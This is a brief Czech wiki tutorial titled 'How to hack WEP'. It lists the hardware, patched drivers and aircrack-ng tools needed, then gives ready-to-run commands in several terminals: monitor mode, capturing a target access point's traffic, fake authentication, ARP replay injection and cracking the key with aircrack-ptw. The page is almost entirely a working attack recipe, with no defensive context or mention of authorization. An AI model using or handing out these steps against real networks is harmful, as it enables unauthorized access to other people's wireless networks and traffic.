===== Jak hacknout WEP =====
==== Vstupni predpoklady ====
  * pocitac s linuxem
  * wifi karta s chipsetem Atheros a Madwifi drivery s [[http://patches.aircrack-ng.org/madwifi-ng-r2277.patch|patchem]] umoznujicim packet injection
  * [[http://www.aircrack-ng.org/doku.php#download|aircrack-ng]]
  * [[http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/download/aircrack-ptw-1.0.0.tar.gz|aircrack-ptw]]

==== Konvence ====
  * MAC adresa vzdaleneho AP bude vzdy oznacena jako $APMAC
  * mistni MAC adresa bude oznacena jako $MYMAC, nemusi se shodovat se skutecnou MAC adresou
  * kanal je oznacen $CHANNEL
  * ESSID je $ESSID

<code>
export APMAC="00:12:0E:XX:XX:XX"
export MYMAC="00:02:2D:XX:XX:XX"
export CHANNEL="7"
export ESSID="doma"
</code>

==== Postup ====
Terminal 0
<code>/usr/local/bin/wlanconfig ath0 destroy
/usr/local/bin/wlanconfig ath0 create wlandev wifi0 wlanmode monitor</code>
<code>airodump-ng ath0</code>
<code>airodump-ng --bssid $APMAC --channel $CHANNEL --write doma ath0</code>
Terminal 1
<code>aireplay-ng -a $APMAC -h $MYMAC -e "$ESSID" --fakeauth 0 ath0</code>
Terminal 2
<code>aireplay-ng --arpreplay -b $APMAC -h $MYMAC ath0</code>
Terminal 3
<code>aircrack-ptw $ESSID-01.cap</code>